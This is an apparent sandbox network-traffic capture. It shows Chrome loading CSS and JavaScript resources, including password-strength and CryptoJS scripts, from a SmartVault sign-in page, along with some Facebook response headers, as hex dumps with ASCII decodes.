2024-04-11 20:35:41 UTC	896	IN	HTTP/1.1 200 OK reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", default="https://www.facebook.com/ajax/comet_error_reports/?device_level=unknown", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/comet_error_reports\/?device_level=unknown"}]}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"}
2024-04-11 20:35:41 UTC	1903	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 31 32 37 2e 30 2e 30 2e 31 3a 2a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a 20 64 61 74 61 3a 20 27 73 65 6c 66 27 20 63 6f 6e 6e 65 63 74 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 27 Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net '
2024-04-11 20:35:41 UTC	1539	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 73 65 6c 66 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 72 65 61 64 3d 28 73 65 6c 66 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 77 72 69 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(self), autoplay=(), bluetooth=(), camera=(self), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(self), clipboard-wri

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
228	192.168.2.4	50086	13.59.104.88	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:41 UTC	816	OUT	GET /WebResource.axd?d=kT3oUtt9ldtztet0x1SHpMigeCJwT9b-N0txLQvmXO7DOXaqzuG3kTj7QwanK1tOFsbj_9PSJOsPL1CGtffCY2D0rljaaU_xX5eNZu92uroPihKNEHuuwKHrnIcQiJk_n4pA-3dX4BOcBGJzUvG7hTcuLJ41&t=636899829820000000 HTTP/1.1 Host: bfjfinancialgroup.smartvault.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://bfjfinancialgroup.smartvault.com/secure/SignIn.aspx?ReturnUrl=%2fusers%2fsecure%2fHome.aspx Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:41 UTC	1581	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 20:35:41 GMT Content-Type: text/css Content-Length: 2383 Connection: close Cache-Control: public, no-cache="Set-Cookie" Expires: Fri, 11 Apr 2025 20:35:41 GMT Last-Modified: Thu, 04 Apr 2019 13:56:22 GMT Server: Microsoft-IIS/10.0 X-AspNet-Version: 4.0.30319 P3P: policyref="/w3c/p3p.xml", CP="CAO DSP CURa ADMa DEVa TAIa OUR DELi BUS PHY ONL UNI PUR COM NAV DEM STA PRE" Set-Cookie: .ASPXAUTH=; domain=.smartvault.com; expires=Thu, 04-Apr-2024 15:35:41 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: .ASPXAUTH=; domain=.smartvault.com; expires=Wed, 10-Apr-2024 15:35:41 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: session-idle-timeout=; domain=.smartvault.com; expires=Thu, 04-Apr-2024 15:35:41 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: session-idle-timeout=; domain=.smartvault.com; expires=Wed, 10-Apr-2024 15:35:41 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: session-last-use=; domain=.smartvault.com; expires=Thu, 04-Apr-2024 15:35:41 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: session-last-use=; domain=.smartvault.com; expires=Wed, 10-Apr-2024 15:35:41 GMT; path=/;SameSite=lax; secure; HttpOnly X-Powered-By: ASP.NET X-XSS-Protection: 1 Content-Security-Policy: frame-ancestors 'self' https://svportal000.smartvault.com https://svportal001.smartvault.com https://svportal002.smartvault.com https://svportal003.smartvault.com https://portal000.smartvault.com https://portal001.smartvault.com https://portal002.smartvault.com https://portal003.smartvault.com
2024-04-11 20:35:41 UTC	1334	IN	Data Raw: ef bb bf 2e 52 61 64 54 6f 6f 6c 54 69 70 5f 48 61 79 2e 72 74 4c 6f 61 64 69 6e 67 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 27 57 65 62 52 65 73 6f 75 72 63 65 2e 61 78 64 3f 64 3d 51 74 6c 44 71 6b 75 6e 4a 33 4a 58 72 57 4d 2d 48 67 55 4d 65 79 4f 31 69 69 49 30 62 43 31 4b 46 63 68 42 68 79 6f 69 70 54 45 34 7a 54 33 37 35 45 5a 66 50 44 58 38 31 63 76 37 45 67 57 4d 44 47 35 51 34 66 38 73 59 66 58 6a 57 6e 46 58 57 4c 61 57 49 4d 78 42 47 32 46 77 4f 57 62 6f 59 54 32 58 52 51 4b 43 4a 48 46 67 44 63 59 65 44 30 4b 41 6c 59 4e 6a 53 6c 6b 6b 34 6f 76 39 37 6f 56 37 72 58 50 51 5f 5f 36 53 4b 36 64 72 77 74 4d 55 69 35 77 61 33 75 49 31 26 74 3d 36 33 36 38 39 39 38 32 39 38 32 30 30 30 30 30 30 30 27 29 20 6e 6f 2d 72 65 70 65 61 74 20 63 65 Data Ascii: .RadToolTip_Hay.rtLoading{background:url('WebResource.axd?d=QtlDqkunJ3JXrWM-HgUMeyO1iiI0bC1KFchBhyoipTE4zT375EZfPDX81cv7EgWMDG5Q4f8sYfXjWnFXWLaWIMxBG2FwOWboYT2XRQKCJHFgDcYeD0KAlYNjSlkk4ov97oV7rXPQ__6SK6drwtMUi5wa3uI1&t=636899829820000000') no-repeat ce
2024-04-11 20:35:41 UTC	1049	IN	Data Raw: 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 27 57 65 62 52 65 73 6f 75 72 63 65 2e 61 78 64 3f 64 3d 41 61 6f 50 4b 58 34 59 2d 31 5f 74 38 44 43 4c 30 6a 31 56 46 73 7a 55 6b 42 65 2d 66 61 4f 5f 33 53 36 75 68 71 31 33 4e 64 31 6c 38 74 72 42 6f 44 39 71 34 6c 6c 65 53 72 4a 37 4c 4f 79 30 55 52 35 64 31 32 74 79 32 49 38 32 72 71 30 39 39 6e 49 5f 59 4f 66 55 4f 31 58 4b 64 66 5a 5a 37 43 51 48 66 6e 53 72 50 36 51 42 42 5f 68 42 78 77 35 34 5f 64 4e 36 39 36 59 6d 39 63 55 58 2d 33 54 4a 38 57 56 62 43 2d 78 74 2d 56 46 6b 4b 44 2d 74 37 6b 53 59 64 72 49 50 66 64 64 66 78 78 68 59 6f 36 57 4c 71 4a 55 6c 39 50 59 49 30 26 74 3d 36 33 36 38 39 39 38 32 39 38 32 30 30 30 30 30 30 30 27 29 7d 2e 52 61 64 54 6f 6f 6c 54 69 70 5f 48 61 79 20 2e 72 74 57 Data Ascii: ound-image:url('WebResource.axd?d=AaoPKX4Y-1_t8DCL0j1VFszUkBe-faO_3S6uhq13Nd1l8trBoD9q4lleSrJ7LOy0UR5d12ty2I82rq099nI_YOfUO1XKdfZZ7CQHfnSrP6QBB_hBxw54_dN696Ym9cUX-3TJ8WVbC-xt-VFkKD-t7kSYdrIPfddfxxhYo6WLqJUl9PYI0&t=636899829820000000')}.RadToolTip_Hay .rtW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
229	192.168.2.4	50087	13.59.104.88	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:41 UTC	816	OUT	GET /WebResource.axd?d=rmcOY57_3aeqDKmQUi5pNgKD5Yllboo5cLfP5LPhRtU_7xoF9cDjzmRNgDXc3rUDnj-JbWDR2WhBXb9UPxgv913JiwoYXbdxXF8gNjxbXefAlBZSHuu_DpDaLK4GvoCwDrsMMzN967gnxPqLbRuZoA6dtxk1&t=638368678120000000 HTTP/1.1 Host: bfjfinancialgroup.smartvault.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://bfjfinancialgroup.smartvault.com/secure/SignIn.aspx?ReturnUrl=%2fusers%2fsecure%2fHome.aspx Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:41 UTC	1581	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 20:35:41 GMT Content-Type: text/css Content-Length: 1997 Connection: close Cache-Control: public, no-cache="Set-Cookie" Expires: Fri, 11 Apr 2025 20:35:41 GMT Last-Modified: Wed, 29 Nov 2023 15:16:52 GMT Server: Microsoft-IIS/10.0 X-AspNet-Version: 4.0.30319 P3P: policyref="/w3c/p3p.xml", CP="CAO DSP CURa ADMa DEVa TAIa OUR DELi BUS PHY ONL UNI PUR COM NAV DEM STA PRE" Set-Cookie: .ASPXAUTH=; domain=.smartvault.com; expires=Thu, 04-Apr-2024 15:35:41 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: .ASPXAUTH=; domain=.smartvault.com; expires=Wed, 10-Apr-2024 15:35:41 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: session-idle-timeout=; domain=.smartvault.com; expires=Thu, 04-Apr-2024 15:35:41 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: session-idle-timeout=; domain=.smartvault.com; expires=Wed, 10-Apr-2024 15:35:41 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: session-last-use=; domain=.smartvault.com; expires=Thu, 04-Apr-2024 15:35:41 GMT; path=/;SameSite=lax; secure; HttpOnly Set-Cookie: session-last-use=; domain=.smartvault.com; expires=Wed, 10-Apr-2024 15:35:41 GMT; path=/;SameSite=lax; secure; HttpOnly X-Powered-By: ASP.NET X-XSS-Protection: 1 Content-Security-Policy: frame-ancestors 'self' https://svportal000.smartvault.com https://svportal001.smartvault.com https://svportal002.smartvault.com https://svportal003.smartvault.com https://portal000.smartvault.com https://portal001.smartvault.com https://portal002.smartvault.com https://portal003.smartvault.com
2024-04-11 20:35:41 UTC	1997	IN	Data Raw: ef bb bf 2e 52 61 64 54 6f 6f 6c 54 69 70 5f 44 65 66 61 75 6c 74 2e 72 74 4c 6f 61 64 69 6e 67 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 27 57 65 62 52 65 73 6f 75 72 63 65 2e 61 78 64 3f 64 3d 42 6a 74 44 54 2d 46 42 78 43 30 4c 59 36 54 49 42 74 35 4a 74 34 6a 59 64 67 6f 38 75 31 62 48 74 4d 31 2d 5f 73 63 50 58 72 4f 73 6e 66 76 78 71 53 54 44 30 38 75 6e 76 48 6c 65 72 4a 6b 64 75 46 50 32 5a 44 36 75 56 52 47 46 30 31 6f 50 43 6f 73 62 2d 68 75 62 70 57 66 4d 66 59 45 58 45 55 38 42 6d 79 62 6a 70 45 5f 54 56 50 45 71 56 66 39 78 33 6a 31 39 37 72 33 43 55 54 4a 6d 35 76 33 46 46 72 39 76 44 72 61 63 44 66 73 62 33 6f 78 4a 79 4f 42 6d 46 46 51 31 26 74 3d 36 33 38 33 36 38 36 37 38 31 32 30 30 30 30 30 30 30 27 29 20 6e 6f 2d 72 65 70 65 61 Data Ascii: .RadToolTip_Default.rtLoading{background:url('WebResource.axd?d=BjtDT-FBxC0LY6TIBt5Jt4jYdgo8u1bHtM1-_scPXrOsnfvxqSTD08unvHlerJkduFP2ZD6uVRGF01oPCosb-hubpWfMfYEXEU8BmybjpE_TVPEqVf9x3j197r3CUTJm5v3FFr9vDracDfsb3oxJyOBmFFQ1&t=638368678120000000') no-repea

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
230	192.168.2.4	50088	13.59.104.88	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:41 UTC	619	OUT	GET /js/Common.js HTTP/1.1 Host: bfjfinancialgroup.smartvault.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bfjfinancialgroup.smartvault.com/secure/SignIn.aspx?ReturnUrl=%2fusers%2fsecure%2fHome.aspx Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:41 UTC	623	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 20:35:41 GMT Content-Type: application/javascript Content-Length: 22591 Connection: close Last-Modified: Mon, 15 Jan 2024 17:15:24 GMT Accept-Ranges: bytes ETag: "05e1c6dd647da1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET X-XSS-Protection: 1 Content-Security-Policy: frame-ancestors 'self' https://svportal000.smartvault.com https://svportal001.smartvault.com https://svportal002.smartvault.com https://svportal003.smartvault.com https://portal000.smartvault.com https://portal001.smartvault.com https://portal002.smartvault.com https://portal003.smartvault.com
2024-04-11 20:35:41 UTC	844	IN	Data Raw: ef bb bf 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 53 65 6c 65 63 74 41 6c 6c 54 65 78 74 28 74 65 78 74 42 6f 78 29 20 7b 0d 0a 20 20 20 20 74 65 78 74 42 6f 78 2e 66 6f 63 75 73 28 29 3b 0d 0a 20 20 20 20 74 65 78 74 42 6f 78 2e 73 65 6c 65 63 74 28 29 3b 0d 0a 7d 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 69 73 48 54 4d 4c 35 55 70 6c 6f 61 64 53 75 70 70 6f 72 74 65 64 28 29 20 7b 0d 0a 0d 0a 20 20 20 20 76 61 72 20 70 72 6f 67 45 76 20 3d 20 21 21 28 77 69 6e 64 6f 77 2e 50 72 6f 67 72 65 73 73 45 76 65 6e 74 29 3b 0d 0a 20 20 20 20 76 61 72 20 66 64 61 74 61 20 3d 20 21 21 28 77 69 6e 64 6f 77 2e 46 6f 72 6d 44 61 74 61 29 3b 0d 0a 20 20 20 20 76 61 72 20 77 43 72 65 64 73 20 3d 20 77 69 6e 64 6f 77 2e 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 20 26 26 20 Data Ascii: function SelectAllText(textBox) { textBox.focus(); textBox.select();}function isHTML5UploadSupported() { var progEv = !!(window.ProgressEvent); var fdata = !!(window.FormData); var wCreds = window.XMLHttpRequest &&
2024-04-11 20:35:41 UTC	16384	IN	Data Raw: 56 69 73 69 62 6c 65 28 29 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 6f 6f 6c 74 69 70 2e 73 68 6f 77 28 29 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 3b 0d 0a 20 20 20 20 7d 0d 0a 20 20 20 20 74 6f 6f 6c 74 69 70 20 3d 20 74 6f 6f 6c 74 69 70 4d 61 6e 61 67 65 72 2e 63 72 65 61 74 65 54 6f 6f 6c 54 69 70 28 65 6c 65 6d 65 6e 74 29 3b 0d 0a 20 20 20 20 74 6f 6f 6c 74 69 70 2e 73 65 74 5f 63 6f 6e 74 65 6e 74 28 6d 73 67 29 3b 0d 0a 20 20 20 20 74 6f 6f 6c 74 69 70 2e 73 68 6f 77 28 29 3b 0d 0a 20 20 20 20 65 6c 65 6d 65 6e 74 2e 73 63 72 6f 6c 6c 49 6e 74 6f 56 69 65 77 28 66 61 6c 73 65 29 3b 0d 0a 7d 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 69 73 43 61 70 73 4c 6f 63 6b 28 65 6c 65 6d 65 6e 74 2c 20 65 Data Ascii: Visible()) { tooltip.show(); } return; } tooltip = tooltipManager.createToolTip(element); tooltip.set_content(msg); tooltip.show(); element.scrollIntoView(false);}function isCapsLock(element, e
2024-04-11 20:35:41 UTC	5363	IN	Data Raw: 68 69 73 2e 63 6f 6e 74 61 69 6e 73 4b 65 79 20 3d 20 68 61 73 68 74 61 62 6c 65 5f 63 6f 6e 74 61 69 6e 73 4b 65 79 3b 0d 0a 20 20 20 20 74 68 69 73 2e 63 6f 6e 74 61 69 6e 73 56 61 6c 75 65 20 3d 20 68 61 73 68 74 61 62 6c 65 5f 63 6f 6e 74 61 69 6e 73 56 61 6c 75 65 3b 0d 0a 20 20 20 20 74 68 69 73 2e 67 65 74 20 3d 20 68 61 73 68 74 61 62 6c 65 5f 67 65 74 3b 0d 0a 20 20 20 20 74 68 69 73 2e 69 73 45 6d 70 74 79 20 3d 20 68 61 73 68 74 61 62 6c 65 5f 69 73 45 6d 70 74 79 3b 0d 0a 20 20 20 20 74 68 69 73 2e 6b 65 79 73 20 3d 20 68 61 73 68 74 61 62 6c 65 5f 6b 65 79 73 3b 0d 0a 20 20 20 20 74 68 69 73 2e 70 75 74 20 3d 20 68 61 73 68 74 61 62 6c 65 5f 70 75 74 3b 0d 0a 20 20 20 20 74 68 69 73 2e 72 65 6d 6f 76 65 20 3d 20 68 61 73 68 74 61 62 6c 65 5f Data Ascii: his.containsKey = hashtable_containsKey; this.containsValue = hashtable_containsValue; this.get = hashtable_get; this.isEmpty = hashtable_isEmpty; this.keys = hashtable_keys; this.put = hashtable_put; this.remove = hashtable_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
231	192.168.2.4	50089	13.59.104.88	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:41 UTC	629	OUT	GET /js/PasswordStrength.js HTTP/1.1 Host: bfjfinancialgroup.smartvault.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bfjfinancialgroup.smartvault.com/secure/SignIn.aspx?ReturnUrl=%2fusers%2fsecure%2fHome.aspx Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:41 UTC	622	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 20:35:41 GMT Content-Type: application/javascript Content-Length: 1250 Connection: close Last-Modified: Mon, 15 Jan 2024 17:15:24 GMT Accept-Ranges: bytes ETag: "05e1c6dd647da1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET X-XSS-Protection: 1 Content-Security-Policy: frame-ancestors 'self' https://svportal000.smartvault.com https://svportal001.smartvault.com https://svportal002.smartvault.com https://svportal003.smartvault.com https://portal000.smartvault.com https://portal001.smartvault.com https://portal002.smartvault.com https://portal003.smartvault.com
2024-04-11 20:35:41 UTC	1250	IN	Data Raw: ef bb bf 66 75 6e 63 74 69 6f 6e 20 70 61 73 73 77 6f 72 64 5f 73 74 72 65 6e 67 74 68 28 70 61 73 73 77 6f 72 64 29 20 7b 0d 0a 0d 0a 20 20 20 20 76 61 72 20 64 65 73 63 20 3d 20 6e 65 77 20 41 72 72 61 79 28 29 3b 0d 0a 20 20 20 20 64 65 73 63 5b 30 5d 20 3d 20 22 22 3b 0d 0a 20 20 20 20 64 65 73 63 5b 31 5d 20 3d 20 22 54 6f 6f 20 73 68 6f 72 74 22 3b 0d 0a 20 20 20 20 64 65 73 63 5b 32 5d 20 3d 20 22 57 65 61 6b 22 3b 0d 0a 20 20 20 20 64 65 73 63 5b 33 5d 20 3d 20 22 42 65 74 74 65 72 22 3b 0d 0a 20 20 20 20 64 65 73 63 5b 34 5d 20 3d 20 22 4d 65 64 69 75 6d 22 3b 0d 0a 20 20 20 20 64 65 73 63 5b 35 5d 20 3d 20 22 53 74 72 6f 6e 67 22 3b 0d 0a 20 20 20 20 64 65 73 63 5b 36 5d 20 3d 20 22 4f 70 74 69 6d 61 6c 22 3b 0d 0a 0d 0a 20 20 20 20 76 61 72 20 Data Ascii: function password_strength(password) { var desc = new Array(); desc[0] = ""; desc[1] = "Too short"; desc[2] = "Weak"; desc[3] = "Better"; desc[4] = "Medium"; desc[5] = "Strong"; desc[6] = "Optimal"; var

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
232	192.168.2.4	50090	13.59.104.88	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:41 UTC	624	OUT	GET /js/GetTimeZone.js HTTP/1.1 Host: bfjfinancialgroup.smartvault.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bfjfinancialgroup.smartvault.com/secure/SignIn.aspx?ReturnUrl=%2fusers%2fsecure%2fHome.aspx Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:41 UTC	622	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 20:35:41 GMT Content-Type: application/javascript Content-Length: 3248 Connection: close Last-Modified: Mon, 15 Jan 2024 17:15:24 GMT Accept-Ranges: bytes ETag: "05e1c6dd647da1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET X-XSS-Protection: 1 Content-Security-Policy: frame-ancestors 'self' https://svportal000.smartvault.com https://svportal001.smartvault.com https://svportal002.smartvault.com https://svportal003.smartvault.com https://portal000.smartvault.com https://portal001.smartvault.com https://portal002.smartvault.com https://portal003.smartvault.com
2024-04-11 20:35:41 UTC	3248	IN	Data Raw: ef bb bf 0d 0a 20 20 20 0d 0a 20 20 20 66 75 6e 63 74 69 6f 6e 20 43 68 65 63 6b 50 61 73 73 77 6f 72 64 28 73 65 6e 64 65 72 2c 20 61 72 67 73 29 0d 0a 20 20 20 20 7b 20 0d 0a 20 20 20 20 20 20 20 20 76 61 72 20 74 65 78 74 42 6f 78 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 70 61 73 73 77 6f 72 64 49 44 29 3b 0d 0a 20 20 20 20 20 20 20 20 0d 0a 20 20 20 20 20 20 20 20 20 20 20 69 66 28 74 65 78 74 42 6f 78 2e 76 61 6c 75 65 3d 3d 22 22 29 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 61 72 67 73 2e 49 73 56 61 6c 69 64 20 3d 20 66 61 6c 73 65 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 65 6c 73 65 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 61 72 67 73 2e 49 73 56 61 6c 69 64 20 3d 20 74 72 75 65 3b 0d 0a 20 20 Data Ascii: function CheckPassword(sender, args) { var textBox = document.getElementById(passwordID); if(textBox.value=="") args.IsValid = false; else args.IsValid = true;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
233	192.168.2.4	50091	13.59.104.88	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:41 UTC	617	OUT	GET /js/sha1.js HTTP/1.1 Host: bfjfinancialgroup.smartvault.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bfjfinancialgroup.smartvault.com/secure/SignIn.aspx?ReturnUrl=%2fusers%2fsecure%2fHome.aspx Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:41 UTC	623	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 20:35:41 GMT Content-Type: application/javascript Content-Length: 47992 Connection: close Last-Modified: Mon, 15 Jan 2024 17:15:24 GMT Accept-Ranges: bytes ETag: "05e1c6dd647da1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET X-XSS-Protection: 1 Content-Security-Policy: frame-ancestors 'self' https://svportal000.smartvault.com https://svportal001.smartvault.com https://svportal002.smartvault.com https://svportal003.smartvault.com https://portal000.smartvault.com https://portal001.smartvault.com https://portal002.smartvault.com https://portal003.smartvault.com
2024-04-11 20:35:41 UTC	13876	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 68 2c 74 2c 65 2c 72 2c 69 2c 6e 2c 66 2c 6f 2c 73 2c 63 2c 61 2c 6c 2c 64 2c 6d 2c 78 2c 62 2c 48 2c 7a 2c 41 2c 75 2c 70 2c 5f 2c 76 2c 79 2c 67 2c 42 2c 77 2c 6b 2c 53 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 2c 4b 2c 58 2c 4c 2c 6a 2c 4e 2c 54 2c 71 2c 5a 2c 56 2c 47 2c 4a Data Ascii: !function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var 